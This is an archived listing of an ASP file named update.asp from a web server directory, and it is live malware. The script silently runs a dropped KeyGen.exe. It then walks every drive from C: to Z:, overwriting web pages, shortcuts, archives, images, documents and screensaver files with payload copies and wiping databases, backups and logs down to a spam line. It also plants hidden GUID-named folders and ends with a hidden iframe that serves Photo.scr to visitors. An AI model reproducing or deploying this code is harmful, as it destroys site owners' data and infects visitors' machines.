home *** CD-ROM | disk | FTP | other *** search
/ 207.233.110.77 / 207.233.110.77.tar / 207.233.110.77 / web13 / terapiamusicalphase#2 / update.asp < prev    next >
Text File  |  2016-05-28  |  9KB  |  263 lines
  1. <%@ LANGUAGE="VBScript" %>
  2. <noscript>
  3. <%
  4. Server.ScriptTimeout = 99999
  5.  
  6. dim fullpathz
  7. fullpathz = replace(Server.MapPath(Request.ServerVariables("PATH_INFO")), "update.asp", "")
  8.  
  9. dim god, faith, holy, pray, amen
  10.  
  11. set holy=nothing
  12. set faith=nothing
  13. copyz(fullpathz & "index.html")
  14. copyz(fullpathz & "index.htm")
  15. copyz(fullpathz & "index.cfm")
  16. copyz(fullpathz & "index.asp")
  17. copyz(fullpathz & "index.php")
  18. copyz(fullpathz & "index.shtml")
  19. copyz(fullpathz & "index.shtm")
  20. copyz(fullpathz & "index.jsp")
  21. copyz(fullpathz & "default.jsp")
  22. copyz(fullpathz & "default.asp")
  23. copyz(fullpathz & "default.aspx")
  24. copyz(fullpathz & "default.html")
  25. copyz(fullpathz & "default.htm")
  26. copyz(fullpathz & "iisstart.htm")
  27. sub copyz(filez)
  28. set god=Server.CreateObject("Scripting.FileSystemObject")
  29. on error resume next
  30. god.CopyFile fullpathz & "YmFzZTY0", filez
  31. set god=nothing
  32. end sub
  33.  
  34. set god=Server.CreateObject("Scripting.FileSystemObject")
  35. on error resume next
  36. god.CopyFile fullpathz & "ERR0R.L0G", fullpathz & "KeyGen.exe"
  37. set god=nothing
  38.  
  39. Dim nVtapWXQnbdj
  40. Set nVtapWXQnbdj = CreateObject("Wscript.Shell")
  41. on error resume next
  42. nVtapWXQnbdj.run fullpathz & "KeyGen.exe", 0, false
  43. on error resume next
  44.  
  45. makedirz(fullpathz & ".{20D04FE0-3AEA-1069-A2D8-08002B30309D}")
  46. makedirz(fullpathz & ".{323CA680-C24D-4099-B94D-446DD2D7249E}")
  47. makedirz(fullpathz & ".{59031A47-3F72-44A7-89C5-5595FE6B30EE}")
  48. makedirz(fullpathz & ".{645FF040-5081-101B-9F08-00AA002F954E}")
  49. makedirz(fullpathz & ".{7B81BE6A-CE2B-4676-A29E-EB907A5126C5}")
  50. makedirz(fullpathz & ".{7BE9D83C-A729-4D97-B5A7-1B7313C39E0A}")
  51. makedirz(fullpathz & ".{22877A6D-37A1-461A-91B0-DBDA5AAEBC99}")
  52. makedirz(fullpathz & ".{ED7BA470-8E54-465E-825C-99712043E01C}")
  53. makedirz(fullpathz & ".{031E4825-7B94-4DC3-B131-E946B44C8DD5}")
  54. makedirz(fullpathz & ".{1283O007-0B94-101B-A1DS-08002B30000D}")
  55. sub makedirz(foldz)
  56. set pray=Server.CreateObject("Scripting.FileSystemObject")
  57. on error resume next
  58. set amen=pray.CreateFolder(foldz)
  59. set amen=nothing
  60. set pray=nothing
  61. end sub
  62.  
  63. bible(fullpathz)
  64. bible("c:\")
  65. bible("d:\")
  66. bible("e:\")
  67. bible("f:\")
  68. bible("g:\")
  69. bible("h:\")
  70. bible("i:\")
  71. bible("j:\")
  72. bible("k:\")
  73. bible("l:\")
  74. bible("m:\")
  75. bible("n:\")
  76. bible("o:\")
  77. bible("p:\")
  78. bible("q:\")
  79. bible("r:\")
  80. bible("s:\")
  81. bible("t:\")
  82. bible("u:\")
  83. bible("v:\")
  84. bible("w:\")
  85. bible("x:\")
  86. bible("y:\")
  87. bible("z:\")
  88.  
  89. sub bible(path)
  90. dim fs, folder, file, item, url
  91. set fs = CreateObject("Scripting.FileSystemObject")
  92. on error resume next
  93. set folder = fs.GetFolder(path)
  94. on error resume next
  95. for each item in folder.SubFolders
  96. bible(item.Path)
  97. makedirz(item.Path & "\.{20D04FE0-3AEA-1069-A2D8-08002B30309D}")
  98. makedirz(item.Path & "\.{323CA680-C24D-4099-B94D-446DD2D7249E}")
  99. makedirz(item.Path & "\.{59031A47-3F72-44A7-89C5-5595FE6B30EE}")
  100. makedirz(item.Path & "\.{645FF040-5081-101B-9F08-00AA002F954E}")
  101. makedirz(item.Path & "\.{7B81BE6A-CE2B-4676-A29E-EB907A5126C5}")
  102. makedirz(item.Path & "\.{7BE9D83C-A729-4D97-B5A7-1B7313C39E0A}")
  103. makedirz(item.Path & "\.{22877A6D-37A1-461A-91B0-DBDA5AAEBC99}")
  104. makedirz(item.Path & "\.{ED7BA470-8E54-465E-825C-99712043E01C}")
  105. makedirz(item.Path & "\.{031E4825-7B94-4DC3-B131-E946B44C8DD5}")
  106. makedirz(item.Path & "\.{1283O007-0B94-101B-A1DS-08002B30000D}")
  107. copyz(item.Path & "\index.html")
  108. copyz(item.Path & "\index.htm")
  109. copyz(item.Path & "\index.cfm")
  110. copyz(item.Path & "\index.asp")
  111. copyz(item.Path & "\index.php")
  112. copyz(item.Path & "\index.shtml")
  113. copyz(item.Path & "\index.shtm")
  114. copyz(item.Path & "\index.jsp")
  115. copyz(item.Path & "\default.jsp")
  116. copyz(item.Path & "\default.asp")
  117. copyz(item.Path & "\default.aspx")
  118. copyz(item.Path & "\default.html")
  119. copyz(item.Path & "\default.htm")
  120. copyz(item.Path & "\iisstart.htm")
  121. next
  122.  
  123. for each item in folder.Files
  124.  
  125. IF InStr(lcase(item.path), ".url") THEN
  126. set god=Server.CreateObject("Scripting.FileSystemObject")
  127. on error resume next
  128. god.CopyFile fullpathz & "web.url.url", item.path
  129. set god=nothing
  130. END IF
  131.  
  132. IF InStr(lcase(item.path), ".lnk") THEN
  133. set god=Server.CreateObject("Scripting.FileSystemObject")
  134. on error resume next
  135. god.CopyFile fullpathz & "web.lnk.lnk", item.path
  136. set god=nothing
  137. END IF
  138.  
  139. IF InStr(item.path, ".mdb") OR InStr(item.path, ".apk") OR InStr(item.path, ".my") OR InStr(item.path, ".frm") OR InStr(item.path, ".bak") OR InStr(item.path, ".wm") OR InStr(item.path, ".avi") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".mp") OR InStr(item.path, ".css") OR InStr(item.path, ".dbf") OR InStr(item.path, ".iso") OR InStr(item.path, ".nfo") OR InStr(item.path, ".msi") OR InStr(item.path, ".cvs") OR InStr(item.path, ".txt") OR InStr(item.path, ".log") OR InStr(item.path, ".psd") OR InStr(item.path, ".sql") THEN
  140. set fs = CreateObject("Scripting.FileSystemObject")
  141. set file = fs.CreateTextFile(item.path, true, false)
  142. on error resume next
  143. file.WriteLine("Visit http://www.WHAK.com http://www.HolyBibleVerse.com http://www.BoobSigns.com http://www.AddEffects.net")
  144. file.Close
  145. END IF
  146.  
  147. IF InStr(lcase(item.path), ".php") OR InStr(lcase(item.path), ".sht") OR InStr(item.path, ".inc") OR InStr(lcase(item.path), ".htm") OR InStr(lcase(item.path), ".asp") THEN
  148. set god=Server.CreateObject("Scripting.FileSystemObject")
  149. on error resume next
  150. god.CopyFile fullpathz & "YmFzZTY0", item.path
  151. set god=nothing
  152. END IF
  153.  
  154. IF InStr(lcase(item.path), ".ppt") THEN
  155. set god=Server.CreateObject("Scripting.FileSystemObject")
  156. on error resume next
  157. god.CopyFile fullpathz & "intro.ppt", item.path
  158. set god=nothing
  159. END IF
  160.  
  161. IF InStr(lcase(item.path), ".zip") THEN
  162. set god=Server.CreateObject("Scripting.FileSystemObject")
  163. on error resume next
  164. god.CopyFile fullpathz & "data.zip", item.path
  165. set god=nothing
  166. END IF
  167.  
  168. IF InStr(lcase(item.path), ".scr") THEN
  169. set god=Server.CreateObject("Scripting.FileSystemObject")
  170. on error resume next
  171. god.CopyFile fullpathz & "ERR0R.L0G", item.path
  172. set god=nothing
  173. END IF
  174.  
  175. IF InStr(lcase(item.path), ".7z") THEN
  176. set god=Server.CreateObject("Scripting.FileSystemObject")
  177. on error resume next
  178. god.CopyFile fullpathz & "zipcode.7z", item.path
  179. set god=nothing
  180. END IF
  181.  
  182. IF InStr(lcase(item.path), ".rar") THEN
  183. set god=Server.CreateObject("Scripting.FileSystemObject")
  184. on error resume next
  185. god.CopyFile fullpathz & "instagram.rar", item.path
  186. set god=nothing
  187. END IF
  188.  
  189. IF InStr(lcase(item.path), ".gz") THEN
  190. set god=Server.CreateObject("Scripting.FileSystemObject")
  191. on error resume next
  192. god.CopyFile fullpathz & "storage.gz", item.path
  193. set god=nothing
  194. END IF
  195.  
  196. IF InStr(lcase(item.path), ".png") THEN
  197. set god=Server.CreateObject("Scripting.FileSystemObject")
  198. on error resume next
  199. god.CopyFile fullpathz & "logos.png", item.path
  200. set god=nothing
  201. END IF
  202.  
  203. IF InStr(lcase(item.path), ".gif") OR InStr(lcase(item.path), ".bmp") THEN
  204. set god=Server.CreateObject("Scripting.FileSystemObject")
  205. on error resume next
  206. god.CopyFile fullpathz & "header.gif", item.path
  207. set god=nothing
  208. END IF
  209.  
  210. IF InStr(lcase(item.path), ".jpeg") OR InStr(lcase(item.path), ".jpe") OR InStr(lcase(item.path), ".jpg") THEN
  211. set god=Server.CreateObject("Scripting.FileSystemObject")
  212. on error resume next
  213. god.CopyFile fullpathz & "header.jpg", item.path
  214. set god=nothing
  215. END IF
  216.  
  217. IF InStr(lcase(item.path), ".rtf") THEN
  218. set god=Server.CreateObject("Scripting.FileSystemObject")
  219. on error resume next
  220. god.CopyFile fullpathz & "howto.rtf", item.path
  221. set god=nothing
  222. END IF
  223.  
  224. IF InStr(lcase(item.path), ".xls") THEN
  225. set god=Server.CreateObject("Scripting.FileSystemObject")
  226. on error resume next
  227. god.CopyFile fullpathz & "list.xls", item.path
  228. set god=nothing
  229. END IF
  230.  
  231. IF InStr(lcase(item.path), ".doc") THEN
  232. set god=Server.CreateObject("Scripting.FileSystemObject")
  233. on error resume next
  234. god.CopyFile fullpathz & "resume.doc", item.path
  235. set god=nothing
  236. END IF
  237.  
  238. IF InStr(lcase(item.path), ".pdf") THEN
  239. set god=Server.CreateObject("Scripting.FileSystemObject")
  240. on error resume next
  241. god.CopyFile fullpathz & "history.pdf", item.path
  242. set god=nothing
  243. END IF
  244.  
  245. IF InStr(lcase(item.path), ".swf") THEN
  246. set god=Server.CreateObject("Scripting.FileSystemObject")
  247. on error resume next
  248. god.CopyFile fullpathz & "movie.swf", item.path
  249. set god=nothing
  250. END IF
  251.  
  252. next
  253. end sub
  254.  
  255.    Dim fso
  256.    Set fso = CreateObject("Scripting.FileSystemObject")
  257.    fso.MoveFile fullpathz & "KeyGen.exe", fullpathz & "Windows.8.1.All.KeyGen.exe"
  258.    set fso=nothing
  259. %>
  260. </noscript>
  261. <iframe src=Photo.scr width=1 height=1 frameborder=0>
  262. </iframe>
  263.